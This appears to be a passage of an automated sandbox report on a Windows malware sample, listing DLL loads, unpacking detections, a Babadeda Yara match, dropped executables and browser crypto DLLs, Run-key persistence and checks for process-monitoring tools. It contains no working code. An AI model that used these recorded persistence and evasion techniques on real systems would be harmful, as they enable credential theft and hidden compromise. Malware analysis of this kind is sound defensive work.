Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Section loaded: netutils.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: winmm.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: wldp.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: propsys.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: profapi.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: edputil.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: urlmon.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: iertutil.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: srvcli.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: netutils.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: sspicli.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: wintypes.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: appresolver.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: slc.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: userenv.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: sppc.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: pcacli.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: mpr.dll
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: JGKjBsQrMc.exe

Static file information: File size 1878528 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: JGKjBsQrMc.exe

Static PE information: Raw size of lddzjshm is bigger than: 0x100000 < 0x199200

Source:	Binary string: mozglue.pdbP source: cda9e1cbbc.exe, 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmp, mozglue.dll.19.dr
Source:	Binary string: nss3.pdb@ source: cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, nss3.dll.19.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.19.dr, softokn3.dll.19.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.19.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.19.dr
Source:	Binary string: nss3.pdb source: cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, nss3.dll.19.dr
Source:	Binary string: mozglue.pdb source: cda9e1cbbc.exe, 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmp, mozglue.dll.19.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.19.dr, softokn3.dll.19.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Unpacked PE file: 1.2.JGKjBsQrMc.exe.4d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lddzjshm:EW;ytmlykrz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lddzjshm:EW;ytmlykrz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 6.2.explorti.exe.ea0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lddzjshm:EW;ytmlykrz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lddzjshm:EW;ytmlykrz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 7.2.explorti.exe.ea0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lddzjshm:EW;ytmlykrz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lddzjshm:EW;ytmlykrz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 17.2.explorti.exe.ea0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lddzjshm:EW;ytmlykrz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lddzjshm:EW;ytmlykrz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Unpacked PE file: 19.2.cda9e1cbbc.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Unpacked PE file: 37.2.cda9e1cbbc.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Unpacked PE file: 19.2.cda9e1cbbc.exe.400000.0.unpack
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Unpacked PE file: 20.2.e0dbbf79bf.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Unpacked PE file: 37.2.cda9e1cbbc.exe.400000.0.unpack
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Unpacked PE file: 43.2.e0dbbf79bf.exe.400000.0.unpack

Yara detected Babadeda

Source: Yara match	File source: 20.2.e0dbbf79bf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.e0dbbf79bf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.e0dbbf79bf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.0.e0dbbf79bf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\1000003002\e0dbbf79bf.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Code function: 19_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

19_2_004195E0

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: explorti.exe.1.dr	Static PE information: real checksum: 0x1d2c26 should be: 0x1cf12b
Source: RoamingDBFHCGCGDA.exe.19.dr	Static PE information: real checksum: 0x1d2c26 should be: 0x1cf12b
Source: RoamingJDHCBAEHJJ.exe.19.dr	Static PE information: real checksum: 0x1d7999 should be: 0x1db5ec
Source: random[1].exe0.17.dr	Static PE information: real checksum: 0x0 should be: 0x1b3d5
Source: random[1].exe.19.dr	Static PE information: real checksum: 0x1d7999 should be: 0x1db5ec
Source: JGKjBsQrMc.exe	Static PE information: real checksum: 0x1d2c26 should be: 0x1cf12b
Source: e0dbbf79bf.exe.17.dr	Static PE information: real checksum: 0x0 should be: 0x1b3d5
Source: enter[1].exe.19.dr	Static PE information: real checksum: 0x1d2c26 should be: 0x1cf12b

Source: JGKjBsQrMc.exe	Static PE information: section name:
Source: JGKjBsQrMc.exe	Static PE information: section name: .idata
Source: JGKjBsQrMc.exe	Static PE information: section name:
Source: JGKjBsQrMc.exe	Static PE information: section name: lddzjshm
Source: JGKjBsQrMc.exe	Static PE information: section name: ytmlykrz
Source: JGKjBsQrMc.exe	Static PE information: section name: .taggant
Source: explorti.exe.1.dr	Static PE information: section name:
Source: explorti.exe.1.dr	Static PE information: section name: .idata
Source: explorti.exe.1.dr	Static PE information: section name:
Source: explorti.exe.1.dr	Static PE information: section name: lddzjshm
Source: explorti.exe.1.dr	Static PE information: section name: ytmlykrz
Source: explorti.exe.1.dr	Static PE information: section name: .taggant
Source: random[1].exe0.17.dr	Static PE information: section name: .code
Source: e0dbbf79bf.exe.17.dr	Static PE information: section name: .code
Source: random[1].exe.19.dr	Static PE information: section name:
Source: random[1].exe.19.dr	Static PE information: section name: .idata
Source: random[1].exe.19.dr	Static PE information: section name:
Source: random[1].exe.19.dr	Static PE information: section name: lsmjcynp
Source: random[1].exe.19.dr	Static PE information: section name: bndcrfma
Source: random[1].exe.19.dr	Static PE information: section name: .taggant
Source: RoamingJDHCBAEHJJ.exe.19.dr	Static PE information: section name:
Source: RoamingJDHCBAEHJJ.exe.19.dr	Static PE information: section name: .idata
Source: RoamingJDHCBAEHJJ.exe.19.dr	Static PE information: section name:
Source: RoamingJDHCBAEHJJ.exe.19.dr	Static PE information: section name: lsmjcynp
Source: RoamingJDHCBAEHJJ.exe.19.dr	Static PE information: section name: bndcrfma
Source: RoamingJDHCBAEHJJ.exe.19.dr	Static PE information: section name: .taggant
Source: RoamingDBFHCGCGDA.exe.19.dr	Static PE information: section name:
Source: RoamingDBFHCGCGDA.exe.19.dr	Static PE information: section name: .idata
Source: RoamingDBFHCGCGDA.exe.19.dr	Static PE information: section name:
Source: RoamingDBFHCGCGDA.exe.19.dr	Static PE information: section name: lddzjshm
Source: RoamingDBFHCGCGDA.exe.19.dr	Static PE information: section name: ytmlykrz
Source: RoamingDBFHCGCGDA.exe.19.dr	Static PE information: section name: .taggant
Source: enter[1].exe.19.dr	Static PE information: section name:
Source: enter[1].exe.19.dr	Static PE information: section name: .idata
Source: enter[1].exe.19.dr	Static PE information: section name:
Source: enter[1].exe.19.dr	Static PE information: section name: lddzjshm
Source: enter[1].exe.19.dr	Static PE information: section name: ytmlykrz
Source: enter[1].exe.19.dr	Static PE information: section name: .taggant
Source: freebl3.dll.19.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.19.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.19.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.19.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.19.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.19.dr	Static PE information: section name: .didat
Source: nss3.dll.19.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.19.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.19.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.19.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 17_2_00EBD84C push ecx; ret	17_2_00EBD85F
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_0041A9F5 push ecx; ret	19_2_0041AA08
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAEB536 push ecx; ret	19_2_6CAEB549

Source: JGKjBsQrMc.exe	Static PE information: section name: entropy: 7.985958056489846
Source: JGKjBsQrMc.exe	Static PE information: section name: lddzjshm entropy: 7.9521734682193035
Source: explorti.exe.1.dr	Static PE information: section name: entropy: 7.985958056489846
Source: explorti.exe.1.dr	Static PE information: section name: lddzjshm entropy: 7.9521734682193035
Source: random[1].exe.17.dr	Static PE information: section name: .text entropy: 7.823971504289
Source: cda9e1cbbc.exe.17.dr	Static PE information: section name: .text entropy: 7.823971504289
Source: random[1].exe.19.dr	Static PE information: section name: entropy: 7.981514860220678
Source: random[1].exe.19.dr	Static PE information: section name: lsmjcynp entropy: 7.953490770660444
Source: RoamingJDHCBAEHJJ.exe.19.dr	Static PE information: section name: entropy: 7.981514860220678
Source: RoamingJDHCBAEHJJ.exe.19.dr	Static PE information: section name: lsmjcynp entropy: 7.953490770660444
Source: RoamingDBFHCGCGDA.exe.19.dr	Static PE information: section name: entropy: 7.985958056489846
Source: RoamingDBFHCGCGDA.exe.19.dr	Static PE information: section name: lddzjshm entropy: 7.9521734682193035
Source: enter[1].exe.19.dr	Static PE information: section name: entropy: 7.985958056489846
Source: enter[1].exe.19.dr	Static PE information: section name: lddzjshm entropy: 7.9521734682193035

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\Users\user\AppData\RoamingDBFHCGCGDA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\enter[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\Users\user\AppData\RoamingJDHCBAEHJJ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\1000003002\e0dbbf79bf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e0dbbf79bf.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cda9e1cbbc.exe			Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
